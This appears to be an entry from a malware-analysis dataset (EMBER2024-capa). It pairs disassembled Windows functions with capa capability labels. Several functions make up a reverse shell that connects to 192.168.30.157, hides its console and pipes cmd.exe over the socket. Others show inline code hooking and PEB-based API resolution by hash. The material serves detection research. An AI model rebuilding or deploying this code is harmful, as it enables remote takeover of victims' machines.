joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180041600
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180088010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov eax, ecx
lea r9, [rsp + 0x20]
imul rbx, rax, 0x38
mov esi, edx
add rbx, qword [0x180191830]
mov r8, qword [rbx]
movzx eax, byte [rbx + 0x20]
and al, 1
movzx ecx, al
lea rdi, [r8 - 5]
cmove rdi, r8
mov r8d, 0x40
lea rbp, [rcx*2 + 5]
mov rcx, rdi
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180041673
mov eax, 0xa
jmp 0x180041706
test esi, esi
je 0x180041695
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x1800416b8
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x1800416b8
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x1800416b1
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x1800416b8
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, sil
shl sil, 2
add cl, cl
xor cl, byte [rbx + 0x20]
and cl, 2
xor cl, byte [rbx + 0x20]
xor sil, cl
and sil, 4
xor sil, cl
mov byte [rbx + 0x20], sil
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180053190
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180041730
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, ecx
mov ecx, dword [0x18019183c]
mov ebx, edi
test ecx, ecx
je 0x18004186b
mov rax, qword [0x180191830]
add rax, 0x20
nop
movzx edx, byte [rax]
shr edx, 1
and edx, 1
cmp edx, esi
jne 0x180041788
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180041760
mov eax, edi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
cmp ebx, 0xffffffff
je 0x18004186b
mov r8d, edi
lea rcx, [rsp + 0x20]
test esi, esi
mov edx, 0xffffffff
setne r8b
call fcn.180041450
mov r8d, dword [0x18019183c]
cmp ebx, r8d
jae 0x1800417f8
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rax, qword [0x180191830]
movzx edx, byte [rcx + rax + 0x20]
shr edx, 1
and edx, 1
cmp edx, esi
je 0x1800417f1
mov edx, esi
mov ecx, ebx
call fcn.180041600
mov edi, eax
test eax, eax
jne 0x1800417f8
mov r8d, dword [0x18019183c]
inc ebx
cmp ebx, r8d
jb 0x1800417c0
cmp qword [rsp + 0x20], 0
je 0x18004186b
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180041857
mov rbx, qword [rsp + 0x20]
mov qword [rsp + 0x40], rbp
mov ebp, eax
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180041848
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jne 0x180041820
mov rbp, qword [rsp + 0x40]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180191508]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x180041be0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x30
xor r15d, r15d
mov esi, edx
mov ebx, r15d
xor eax, eax
mov rdi, rcx
mov ebp, 1
lock cmpxchg dword [0x180191500], ebp
je 0x180041c37
cmp rbx, 0x20
jae 0x180041c20
xor ecx, ecx
jmp 0x180041c22
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x180191500], ebp
jne 0x180041c16
cmp qword [0x180191508], r15
je 0x180041d31
test rdi, rdi
jne 0x180041c57
mov ecx, esi
call fcn.180041730
mov ebp, eax
jmp 0x180041d36
mov ecx, dword [0x18019183c]
mov ebx, r15d
test ecx, ecx
je 0x180041c7f
mov r8, qword [0x180191830]
mov rax, r8
nop
cmp rdi, qword [rax]
je 0x180041c89
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x180041c70
mov ebp, 4
jmp 0x180041d36
cmp ebx, 0xffffffff
je 0x180041c7f
mov eax, ebx
imul rdx, rax, 0x38
movzx eax, byte [rdx + r8 + 0x20]
shr eax, 1
and eax, ebp
cmp eax, esi
je 0x180041d28
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.180041450
mov edx, esi
mov ecx, ebx
call fcn.180041600
mov ebp, eax
cmp qword [rsp + 0x20], r15
je 0x180041d36
mov eax, dword [rsp + 0x2c]
test eax, eax
je 0x180041d12
mov rbx, qword [rsp + 0x20]
mov esi, eax
nop word [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180041d08
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rsi, 1
jne 0x180041ce0
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x180191508]
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x180041d36
neg esi
sbb ebp, ebp
add ebp, 6
jmp 0x180041d36
mov ebp, 2
xchg dword [0x180191500], r15d
mov rbx, qword [rsp + 0x40]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
Function at 0x180047700
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
cmp byte [0x180191646], 0
je 0x18004790b
mov rax, qword [0x180191620]
mov qword [rsp + 0x50], rsi
xor esi, esi
test rax, rax
jne 0x1800477f6
mov rax, qword gs:[0x60]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x30], rdi
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800477c8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800477c8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1800477c3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1800477a0
cmp edx, 0x95466b05
je 0x1800478ea
test r8d, r8d
jne 0x180047780
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x1800477dd
cmp qword [rax + 0x30], rsi
jne 0x180047750
mov rax, rsi
mov rdi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov qword [0x180191620], rax
mov ecx, dword [0x180191648]
call rax
test ax, ax
je 0x180047906
mov rax, qword [0x180191818]
mov r10, qword [rax]
test r10, r10
je 0x180047906
mov r10, qword [r10 + 8]
test r10, r10
je 0x180047906
mov rax, qword [0x1801917e8]
mov r9, qword [rax]
test r9, r9
je 0x180047906
mov r9, qword [r9 + 0x18]
test r9, r9
je 0x180047906
mov r11d, dword [0x1801917fc]
mov r8, rsi
movss xmm3, dword [0x18007f11c]
nop dword [rax]
movsxd rax, esi
cmp rax, qword [r9 + 0x108]
jae 0x180047906
mov rcx, qword [r9 + 0x100]
test rcx, rcx
je 0x1800478df
mov rcx, qword [r8 + rcx]
test rcx, rcx
je 0x1800478df
cmp rcx, r10
je 0x1800478df
mov edx, dword [r11 + rcx]
test edx, edx
je 0x1800478df
and edx, 0x1fc000
cmp edx, 0x8000
je 0x1800478df
movsd xmm2, qword [r10 + 0x90]
movss xmm0, dword [r10 + 0x98]
movaps xmm1, xmm2
movss dword [rcx + 0x90], xmm2
shufps xmm1, xmm1, 0x55
addss xmm1, xmm3
movss dword [rcx + 0x94], xmm1
movss dword [rcx + 0x98], xmm0
mov dword [rcx + 0x280], 0x3dcccccd
inc esi
add r8, 0x10
jmp 0x180047860
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1800477e0
mov rsi, qword [rsp + 0x50]
add rsp, 0x38
ret
Function at 0x140001005
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x140001020
push rdi
sub rsp, 0x50
mov rdi, rsp
mov ecx, 0x14
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rdx, [0x14000a170]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14000a308], rax
lea rcx, str.192.168.30.157
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x40], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x10
lea rcx, str.192.168.30.157
call qword [sym.imp.MSVCR120D.dll_strcpy_s]
mov eax, 2
mov word [0x14000a310], ax
lea rcx, [0x14000a090]
call qword [sym.imp.MSVCR120D.dll_atoi]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14000a312], ax
lea rcx, str.192.168.30.157
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14000a314], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x14000a310]
mov rcx, qword [0x14000a308]
call qword [sym.imp.WS2_32.dll_WSAConnect]
add rsp, 0x50
pop rdi
ret
Function at 0x14000100a
Capabilities:
Create a process with modified i/o handles and window

Disassembly:
jmp 0x140001140
push rsi
push rdi
sub rsp, 0x4b8
mov rdi, rsp
mov ecx, 0x12e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14000a030]
xor rax, rsp
mov qword [rsp + 0x4a0], rax
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x60]
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rsp + 0x278], rax
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1400011ba
xor edx, edx
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
cmp eax, 1
je 0x1400012ee
call fcn.140001005
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14000a320]
call sub.MSVCR120D.dll_memset
mov dword [0x14000a320], 0x68
mov dword [0x14000a35c], 0x101
mov rax, qword [0x14000a308]
mov qword [0x14000a380], rax
mov rax, qword [0x14000a380]
mov qword [0x14000a378], rax
mov rax, qword [0x14000a378]
mov qword [0x14000a370], rax
xor eax, eax
mov word [0x14000a360], ax
lea rax, [rsp + 0x290]
lea rcx, str.cmd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x2a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ee
rep stosb byte [rdi], al
lea rax, [0x14000a388]
mov qword [rsp + 0x48], rax
lea rax, [0x14000a320]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x290]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [0x14000a388]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x14000a388]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14000a390]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14000a308]
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400011ba
xor eax, eax
mov edi, eax
mov rcx, rsp
lea rdx, [0x140007990]
call fcn.140001490
mov eax, edi
mov rcx, qword [rsp + 0x4a0]
xor rcx, rsp
call fcn.1400017f0
add rsp, 0x4b8
pop rdi
pop rsi
ret
Function at 0x140001020
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x140001020
push rdi
sub rsp, 0x50
mov rdi, rsp
mov ecx, 0x14
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rdx, [0x14000a170]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14000a308], rax
lea rcx, str.192.168.30.157
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x40], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x10
lea rcx, str.192.168.30.157
call qword [sym.imp.MSVCR120D.dll_strcpy_s]
mov eax, 2
mov word [0x14000a310], ax
lea rcx, [0x14000a090]
call qword [sym.imp.MSVCR120D.dll_atoi]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14000a312], ax
lea rcx, str.192.168.30.157
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14000a314], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x14000a310]
mov rcx, qword [0x14000a308]
call qword [sym.imp.WS2_32.dll_WSAConnect]
add rsp, 0x50
pop rdi
ret
Function at 0x140001140
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
jmp 0x140001140
push rsi
push rdi
sub rsp, 0x4b8
mov rdi, rsp
mov ecx, 0x12e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14000a030]
xor rax, rsp
mov qword [rsp + 0x4a0], rax
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x60]
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rsp + 0x278], rax
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1400011ba
xor edx, edx
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
cmp eax, 1
je 0x1400012ee
call fcn.140001005
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14000a320]
call sub.MSVCR120D.dll_memset
mov dword [0x14000a320], 0x68
mov dword [0x14000a35c], 0x101
mov rax, qword [0x14000a308]
mov qword [0x14000a380], rax
mov rax, qword [0x14000a380]
mov qword [0x14000a378], rax
mov rax, qword [0x14000a378]
mov qword [0x14000a370], rax
xor eax, eax
mov word [0x14000a360], ax
lea rax, [rsp + 0x290]
lea rcx, str.cmd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x2a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ee
rep stosb byte [rdi], al
lea rax, [0x14000a388]
mov qword [rsp + 0x48], rax
lea rax, [0x14000a320]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x290]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [0x14000a388]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x14000a388]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14000a390]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14000a308]
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400011ba
xor eax, eax
mov edi, eax
mov rcx, rsp
lea rdx, [0x140007990]
call fcn.140001490
mov eax, edi
mov rcx, qword [rsp + 0x4a0]
xor rcx, rsp
call fcn.1400017f0
add rsp, 0x4b8
pop rdi
pop rsi
ret
Function at 0x140005270
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r13
push r15
sub rsp, 0x830
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov rbx, r9
mov r15, r8
mov rdi, rdx
mov rsi, rcx
cmp rdx, 7
jb 0x140005365
cmp rbx, 7
jb 0x140005365
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x800
call fcn.140040730
xor r13d, r13d
mov edx, r13d
nop dword [rax]
movsx rax, byte [rsi + rdx]
lea rcx, [rsp + 0x420]
lea rcx, [rcx + rax*8]
mov rax, qword [rcx]
bts rax, rdx
inc rdx
mov qword [rcx], rax
cmp rdx, rdi
jb 0x1400052d0
mov r8d, 6
nop dword [rax]
mov r9, r15
lea r10, [r8 - 6]
sub r9, r8
dec r9
add r9, rbx
movsx rax, byte [r9]
mov rax, qword [rsp + rax*8 + 0x420]
test rax, rax
je 0x14000535c
nop dword [rax]
nop word [rax + rax]
movsx rcx, byte [r9 + 1]
lea rdx, [rax + rax]
lea r9, [r9 + 1]
dec r8
mov rax, qword [rsp + rcx*8 + 0x420]
and rax, rdx
cmp r8, r10
je 0x140005357
test rax, rax
jne 0x140005330
jmp 0x14000535c
test rax, rax
jne 0x140005386
add r8, 7
cmp r8, rbx
jb 0x140005300
xor eax, eax
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.140013fb0
add rsp, 0x830
pop r15
pop r13
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0x868], rbp
lea ecx, [rdi + 0xff]
mov qword [rsp + 0x870], r12
mov ebp, edi
mov qword [rsp + 0x878], r14
mov rsi, 0xffffffffffffffff
mov r14d, 1
mov r12, r13
shl r14, cl
nop dword [rax]
movsx rax, byte [r15 + r12]
lea edx, [rbp - 1]
mov r9, rsi
mov r8, qword [rsp + rax*8 + 0x420]
mov r11, r8
and r11, rsi
add r11, rsi
xor r11, rsi
or r11, r8
not r8
or r11, r13
mov r10, r11
mov rcx, r11
and r10, rsi
test r14, r10
cmove edx, ebp
or rcx, rsi
and r8, rsi
not rcx
sub r9, r10
and r8d, 1
or rcx, r8
mov rax, r9
shr rax, 1
lea ebp, [rdx + 1]
or rcx, r13
add rcx, rax
xor rcx, rax
test r14, rcx
cmove ebp, edx
inc r12
lea rax, [rcx + rcx]
or rax, 1
and r9, rax
mov rsi, rax
or rsi, r11
mov r13, rax
not rsi
lea rax, [r10 + r10]
or rsi, r9
and r13, r11
or rsi, rax
cmp r12, rbx
jb 0x1400053c0
mov r14, qword [rsp + 0x878]
lea rcx, [rdi + rbx]
mov r12, qword [rsp + 0x870]
xor edx, edx
shl ebp, 6
mov r8d, 0x64
mov eax, ebp
mov rbp, qword [rsp + 0x868]
div rcx
imul ecx, eax, 0x64
shr ecx, 6
sub r8d, ecx
mov ecx, dword [rsp + 0x880]
cmp ecx, 0x2d
jae 0x1400054c3
mov eax, 0xaaaaaaab
mul ecx
mov rcx, rbx
mov eax, r8d
shr edx, 1
cmp rdi, rbx
mov r9d, edx
cmovb rcx, rdi
imul rcx, r9
cmp rax, rcx
jbe 0x1400054c3
cmp rdi, rbx
mov r8d, ebx
cmovb r8d, edi
imul r8d, r9d
mov eax, r8d
jmp 0x140005367
Function at 0x14000e230
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x14000e252
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000e2cc
mov rdi, r14
mov rcx, rbx
call fcn.140011260
test rax, rax
jle 0x14000e2a4
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.140040af0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000e2bc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14000e2c4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14000e266
sub r14, rdi
jmp 0x14000e3af
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14000e2e3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000e2e5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000e317
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140040af0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000e3ac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000e352
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000e38d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1400213fc
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14000e3ac
cmp rbp, rax
ja 0x14000e360
test rbp, rbp
je 0x14000e3ac
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1400213fc
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x140013590
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x40
mov r10, r8
mov rax, rdx
mov edx, 0x5a4d
cmp word [rax], dx
je 0x1400135b6
mov byte [rcx + 0x38], 0
mov rax, rcx
jmp 0x1400136f2
movsxd r8, dword [rax + 0x3c]
lea rdx, [r8 + rax]
cmp rdx, rax
jbe 0x1400136e0
cmp r8, r10
jae 0x1400136e0
cmp dword [rdx], 0x4550
je 0x1400135e4
mov byte [rcx + 0x38], 0
mov rax, rcx
jmp 0x1400136f2
movzx r8d, word [rdx + 4]
mov ebx, 0x14c
mov r9d, 0x8664
cmp r8w, bx
je 0x14001360c
cmp r8w, r9w
je 0x14001360c
mov byte [rcx + 0x38], 0
mov rax, rcx
jmp 0x1400136f2
xorps xmm0, xmm0
xor r11d, r11d
movups xmmword [rsp], xmm0
movups xmmword [rsp + 0x10], xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r11
cmp r8w, bx
je 0x140013678
cmp r8w, r9w
je 0x14001363d
mov byte [rcx + 0x38], r11b
mov rax, rcx
jmp 0x1400136f2
mov qword [rsp], rax
mov qword [rsp + 8], r10
mov qword [rsp + 0x10], rdx
lea rax, [rdx + 0x108]
mov qword [rsp + 0x20], rax
mov eax, dword [rdx + 0x38]
mov dword [rsp + 0x28], eax
mov eax, dword [rdx + 0x3c]
mov dword [rsp + 0x2c], eax
lea rax, [rdx + 0x88]
mov qword [rsp + 0x18], rax
mov eax, 8
jmp 0x1400136ae
mov qword [rsp], rax
mov qword [rsp + 8], r10
mov qword [rsp + 0x10], rdx
lea rax, [rdx + 0xf8]
mov qword [rsp + 0x20], rax
mov eax, dword [rdx + 0x38]
mov dword [rsp + 0x28], eax
mov eax, dword [rdx + 0x3c]
mov dword [rsp + 0x2c], eax
lea rax, [rdx + 0x78]
mov qword [rsp + 0x18], rax
mov eax, 4
mov word [rsp + 0x30], ax
movups xmm0, xmmword [rsp]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rsp + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rcx + 0x20], xmm0
movsd xmm1, qword [rsp + 0x30]
movsd qword [rcx + 0x30], xmm1
mov byte [rcx + 0x38], 1
mov rax, rcx
jmp 0x1400136f2
mov byte [rcx + 0x38], 0
mov rax, rcx
jmp 0x1400136f2
add rsp, 0x40
pop rbx
ret